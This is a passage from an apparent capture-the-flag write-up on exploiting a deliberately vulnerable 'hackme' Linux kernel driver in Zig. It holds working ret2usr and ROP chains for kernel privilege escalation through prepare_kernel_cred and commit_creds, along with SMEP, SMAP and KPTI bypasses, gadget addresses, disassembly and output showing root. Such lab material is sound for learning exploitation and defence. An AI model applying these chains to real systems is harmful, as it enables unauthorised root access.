credentials with [40m[35m`prepare_kernel_cred(NULL)`[39m[49m
and overwrite the process's existing cred struct with
[40m[35m`commit_creds()`[39m[49m.[^fn:1]
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'prepare_kernel_cred'[0m[1m[37m -e [0m[33m'commit_creds'[0m[1m[37m[0m
[1m[37mffffffff814c6410 T commit_creds[0m
[1m[37mffffffff814c67f0 T prepare_kernel_cred[0m
[1m[37mffffffff81f87d90 r __ksymtab_commit_creds[0m
[1m[37mffffffff81f8d4fc r __ksymtab_prepare_kernel_cred[0m
[1m[37mffffffff81fa0972 r __kstrtab_commit_creds[0m
[1m[37mffffffff81fa09b2 r __kstrtab_prepare_kernel_cred[0m
[1m[37mffffffff81fa4d42 r __kstrtabns_commit_creds[0m
[1m[37mffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred[0m
Additionally, we need to swap to userland before we pop a shell;
this can be accomplished by saving the state of registers before
interacting with the [40m`hackme`[49m driver, then calling
[40m[35m`swapgs`[39m[49m/[40m[35m`iretq`[39m[49m to
context switch back to userland.
[33mexport[0m[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37muser_cs[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[33mexport[0m[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37muser_ss[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[33mexport[0m[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37muser_rsp[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[33mexport[0m[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37muser_rflags[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37msaveState[0m[1m[37m()[0m[1m[37m [0m[37mcallconv[0m[1m[37m(.[0m[1m[37mC[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m [0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33m\\.intel_syntax noprefix[0m[1m[37m[0m
[1m[37m [0m[33m\\mov user_cs, cs[0m[1m[37m[0m
[1m[37m [0m[33m\\mov user_ss, ss[0m[1m[37m[0m
[1m[37m [0m[33m\\mov user_rsp, rsp[0m[1m[37m[0m
[1m[37m [0m[33m\\pushf[0m[1m[37m[0m
[1m[37m [0m[33m\\pop qword ptr user_rflags[0m[1m[37m[0m
[1m[37m [0m[33m\\.att_syntax[0m[1m[37m[0m
[1m[37m [0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mescalate[0m[1m[37m()[0m[1m[37m [0m[37mcallconv[0m[1m[37m(.[0m[1m[37mC[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33masm[0m[1m[37m [0m[33mvolatile[0m[1m[37m [0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[33m\\.intel_syntax noprefix[0m[1m[37m[0m
[1m[37m [0m[33m\\xor rdi, rdi[0m[1m[37m[0m
[1m[37m [0m[33m\\movabs rcx, 0xffffffff814c67f0[0m[1m[37m[0m
[1m[37m [0m[33m\\call rcx[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m\\mov rdi, rax[0m[1m[37m[0m
[1m[37m [0m[33m\\movabs rcx, 0xffffffff814c6410[0m[1m[37m[0m
[1m[37m [0m[33m\\call rcx[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m\\swapgs[0m[1m[37m[0m
[1m[37m [0m[33m\\mov r15, user_ss[0m[1m[37m[0m
[1m[37m [0m[33m\\push r15[0m[1m[37m[0m
[1m[37m [0m[33m\\mov r15, user_rsp[0m[1m[37m[0m
[1m[37m [0m[33m\\push r15[0m[1m[37m[0m
[1m[37m [0m[33m\\mov r15, user_rflags[0m[1m[37m[0m
[1m[37m [0m[33m\\push r15[0m[1m[37m[0m
[1m[37m [0m[33m\\mov r15, user_cs[0m[1m[37m[0m
[1m[37m [0m[33m\\push r15[0m[1m[37m[0m
[1m[37m [0m[33m\\mov r15, user_rip[0m[1m[37m[0m
[1m[37m [0m[33m\\push r15[0m[1m[37m[0m
[1m[37m [0m[33m\\iretq[0m[1m[37m[0m
[1m[37m [0m[33m\\.att_syntax[0m[1m[37m[0m
[1m[37m [0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x4876ab567c920000[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
=== [1m[4mSMEP[22m[24m
[1mSupervisor mode execution protection[22m is kinda like the NX
bit: when we're in the kernel, userland pages are marked as non-
executable.
So instead of just calling [40m[35m`ret2win`[39m[49m we have to
use ROP to pop a shell.
[1m[37mropr --range[0m[1m[36m=[0m[1m[37m0xffffffff81000000-0xffffffff81b00000 -R [0m[33m'^swapgs|^iretq|^pop rdi; ret|^mov rdi, rax; (mov|ret)'[0m[1m[37m vmlinux[0m
[1m[37m0xffffffff81005245: mov rdi, rax; mov rdx, [rsp+8]; mov rax, [rsp]; add rsp, 0x18; jmp rdi;[0m
[1m[37m0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;[0m
[1m[37m0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;[0m
[1m[37m0xffffffff81200000: swapgs; sysretq;[0m
[1m[37m0xffffffff812016d1: swapgs; sysret;[0m
[1m[37m0xffffffff8140867f: mov rdi, rax; mov rdx, rcx; shl rdx, 6; add rdx, rcx; mov byte ptr [rax+rdx*4+0x104], 0; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff8146d4e4: swapgs; pop rbp; ret;[0m
[1m[37m0xffffffff815e8db8: pop rdi; ret 0x4100;[0m
[1m[37m0xffffffff81612872: mov rdi, rax; mov [rdx], r15; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;[0m
[1m[37m0xffffffff816df01e: mov rdi, rax; mov [r15+0x50], edx; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff8177020d: mov rdi, rax; mov rcx, [r10+0x148]; mov rdx, [r10+0x150]; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff817aaccb: mov rdi, rax; mov [r8+0x98], rsi; mov [rbp-0x78], rdx; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff818040d9: mov rdi, rax; mov rdx, [rdx+0x30]; mov r8, [rdx+0x40]; call qword ptr [0xffffffff82040220];[0m
[1m[37m0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;[0m
[1m[37m0xffffffff8196258d: pop rdi; ret 0;[0m
[1m[37m0xffffffff819c67c7: iretq;[0m
[1m[37m0xffffffff819c6839: iretq;[0m
[1m[37m0xffffffff819c68f6: iretq;[0m
[1m[37m0xffffffff819ce301: pop rdi; ret 0xffff;[0m
[1m[37m0xffffffff81a68c0d: pop rdi; ret;[0m
[1m[37m0xffffffff81a77188: pop rdi; ret 0xb8ff;[0m
[1m[37m0xffffffff81adf905: iretq;[0m
Through trial and error I determined that gadgets roughly past
[40m`0xffffffff81b00000`[49m were in a non-executable segment, so
I restricted the search to reflect that.
Also, trying to use an allocator (including
[40m[35m`FixedBufferAllocator`[39m[49m) to assist in
constructing the payload led to confusing protection fault bugs, so
beware of that.
[33mconst[0m[1m[37m [0m[1m[37mPOP_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8196258d[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mMOV_RDI_RAX_POP_RBP[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff816bf203[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mSWAPGS_POP_RBP[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8146d4e4[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mIRETQ[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff819c67c7[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff814c67f0[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff814c6410[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_RDI_RAX_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mSWAPGS_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mIRETQ[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rip[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x9866a26a8b9ba300[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
==== [1m[4mSMAP[22m[24m
With supervisor mode access protection we can not only not execute
code in userspace, but not even read or write to it.
Because our ROP chain is contained in kernelspace, we are able to
escalate priviledges and context switch to userspace without
reading from userland memory, so no issues here!
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0x9a56f4945c848500[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
(One possible solve [2] that works under SMEP but not SMAP involves
stack pivoting to a page in userspace.)
=== [1m[4mKPTI[22m[24m
[1mKernel page-table isolation[22m is a mitigation that results
in different page tables being used when in user-mode or kernel-
mode, and it was introduced to combat the Meltdown attack.
The previous exploit will not work because even though we context
switch to userspace, we are still using kernel page tables and so
[40m[35m`ret2win`[39m[49m is inaccessible.
So in addition to context switching to userland, we also need to
swap page tables.
This can be accomplished by a [3mKPTI trampoline[23m, which is
very similar to our context switching gadget except that it also
modifies the [40m`CR3`[49m register to swap page tables.
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m[0m
[1m[37mffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f26 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f46 -S vmlinux[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f89 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f97 -S vmlinux[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff8146d4e0 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff8146d4e9 -S vmlinux[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f46 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff81200f4b -S vmlinux[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff81201067 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff81201082 -S vmlinux[0m
[1m[37mobjdump --start-address[0m[1m[36m=[0m[1m[37m0xffffffff81200fc7 --stop-address[0m[1m[36m=[0m[1m[37m0xffffffff81200fc9 -S vmlinux[0m
[1m[37m[0m
[1m[37mvmlinux: file format elf64-x86-64[0m
[1m[37m[0m
[1m[37mDisassembly of section .text:[0m
[1m[37m[0m
[1m[37mffffffff81000000 <_stext>:[0m
[1m[37mffffffff81200f26: 48 89 e7 movq %rsp, %rdi[0m
[1m[37mffffffff81200f29: 65 48 8b 24 25 04 60 00 00 movq %gs:0x6004, %rsp[0m
[1m[37mffffffff81200f32: ff 77 30 pushq 0x30(%rdi)[0m
[1m[37mffffffff81200f35: ff 77 28 pushq 0x28(%rdi)[0m
[1m[37mffffffff81200f38: ff 77 20 pushq 0x20(%rdi)[0m
[1m[37mffffffff81200f3b: ff 77 18 pushq 0x18(%rdi)[0m
[1m[37mffffffff81200f3e: ff 77 10 pushq 0x10(%rdi)[0m
[1m[37mffffffff81200f41: ff 37 pushq (%rdi)[0m
[1m[37mffffffff81200f43: 50 pushq %rax[0m
[1m[37mffffffff81200f44: eb 43 jmp 0xffffffff81200f89 <_stext+0x200f89>[0m
[1m[37m[0m
[1m[37mffffffff81000000 <_stext>:[0m
[1m[37mffffffff81200f89: 58 popq %rax[0m
[1m[37mffffffff81200f8a: 5f popq %rdi[0m
[1m[37mffffffff81200f8b: ff 15 f7 f0 e3 00 callq *0xe3f0f7(%rip) # 0xffffffff82040088[0m
[1m[37mffffffff81200f91: ff 25 e9 f0 e3 00 jmpq *0xe3f0e9(%rip) # 0xffffffff82040080[0m
[1m[37m[0m
[1m[37mffffffff8146d4e0 <.text.native_swapgs>:[0m
[1m[37mffffffff8146d4e0: 55 pushq %rbp[0m
[1m[37mffffffff8146d4e1: 48 89 e5 movq %rsp, %rbp[0m
[1m[37mffffffff8146d4e4: 0f 01 f8 swapgs[0m
[1m[37mffffffff8146d4e7: 5d popq %rbp[0m
[1m[37mffffffff8146d4e8: c3 retq[0m
[1m[37m[0m
[1m[37mffffffff81000000 <_stext>:[0m
[1m[37mffffffff81200f46: 0f 20 df movq %cr3, %rdi[0m
[1m[37mffffffff81200f49: eb 34 jmp 0xffffffff81200f7f <_stext+0x200f7f>[0m
[1m[37m[0m
[1m[37mffffffff81000000 <_stext>:[0m
[1m[37mffffffff81201067: 48 81 cf 00 10 00 00 orq $0x1000, %rdi # imm = 0x1000[0m
[1m[37mffffffff8120106e: 0f 22 df movq %rdi, %cr3[0m
[1m[37mffffffff81201071: 58 popq %rax[0m
[1m[37mffffffff81201072: ff 15 10 f0 e3 00 callq *0xe3f010(%rip) # 0xffffffff82040088[0m
[1m[37mffffffff81201078: 5f popq %rdi[0m
[1m[37mffffffff81201079: 48 89 c4 movq %rax, %rsp[0m
[1m[37mffffffff8120107c: 58 popq %rax[0m
[1m[37mffffffff8120107d: e9 45 ff ff ff jmp 0xffffffff81200fc7 <_stext+0x200fc7>[0m
[1m[37m[0m
[1m[37mffffffff81000000 <_stext>:[0m
[1m[37mffffffff81200fc7: 48 cf iretq[0m
[33mconst[0m[1m[37m [0m[1m[37mPOP_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8196258d[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mMOV_RDI_RAX_POP_RBP[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff816bf203[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81200f26[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff814c67f0[0m[1m[37m;[0m[1m[37m[0m
[33mconst[0m[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff814c6410[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mPREPARE_KERNEL_CRED[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_RDI_RAX_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mCOMMIT_CREDS[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37muser_rip[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}));[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami: unknown uid 1000[0m
[1m[37m[INFO] Saved state[0m
[1m[37m[INFO] Canary: 0xeabc83c7a6ad8500[0m
[1m[37m[INFO] You won!![0m
[1m[37mwhoami: unknown uid 0[0m
==== [1m[4mAlternate solve: Signal Handlers[22m[24m
The SMEP+SMAP solve will segfault in userland when KPTI is enabled;
instead of using a KPTI trampoline to switch to userland page
tables, we can register a signal handler (in userland) for
[40m`SIGSEGV`[49m and the kernel will do the switch for us.
[33mconst[0m[1m[37m [0m[1m[37mstd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@import[0m[1m[37m([0m[33m"std"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[1m[37m[0m
[33mexport[0m[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37muser_rip[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mret2win[0m[1m[37m([0m[1m[37m_[0m[1m[36m:[0m[1m[37m [0m[1m[36mi32[0m[1m[37m)[0m[1m[37m [0m[37mcallconv[0m[1m[37m(.[0m[1m[37mC[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] You won!![0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37margs[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[36m:[0m[1m[36mnull[0m[1m[37m][0m[1m[36m?[0m[1m[37m[[0m[1m[36m*:[0m[1m[36m0[0m[1m[37m][0m[33mconst[0m[1m[37m [0m[1m[36mu8[0m[1m[37m{[0m[33m"/usr/bin/whoami"[0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37menv[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[36m:[0m[1m[36mnull[0m[1m[37m][0m[1m[36m?[0m[1m[37m[[0m[1m[36m*:[0m[1m[36m0[0m[1m[37m][0m[1m[36mu8[0m[1m[37m{};[0m[1m[37m[0m
[1m[37m [0m[33mswitch[0m[1m[37m [0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mexecveZ[0m[1m[37m([0m[33m"/usr/bin/whoami"[0m[1m[37m,[0m[1m[37m [0m[1m[37margs[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37margs[0m[1m[37m.[0m[1m[37mlen[0m[1m[37m],[0m[1m[37m [0m[1m[37menv[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[37menv[0m[1m[37m.[0m[1m[37mlen[0m[1m[37m]))[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m [0m[1m[36m=>[0m[1m[37m [0m[33munreachable[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mcatch_sigsegv[0m[1m[37m()[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37msigact[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mSigaction[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mhandler[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mhandler[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mret2win[0m[1m[37m [0m[1m[37m},[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mmask[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mempty_sigset[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m.[0m[1m[37mflags[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37msigaction[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[1m[37mSIG[0m[1m[37m.[0m[1m[37mSEGV[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37msigact[0m[1m[37m,[0m[1m[37m [0m[1m[36mnull[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mcatch_sigsegv[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37muser_rip[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mret2win[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37msaveState[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] Saved state[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/hackme"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mcanary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mleakCanary[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mdebug[0m[1m[37m.[0m[37mprint[0m[1m[37m([0m[33m"[INFO] Canary: 0x{s}[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[37m@constCast[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mcanary[0m[1m[37m))),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfile[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[1m[37mFile[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mhandle[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[37m}).[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
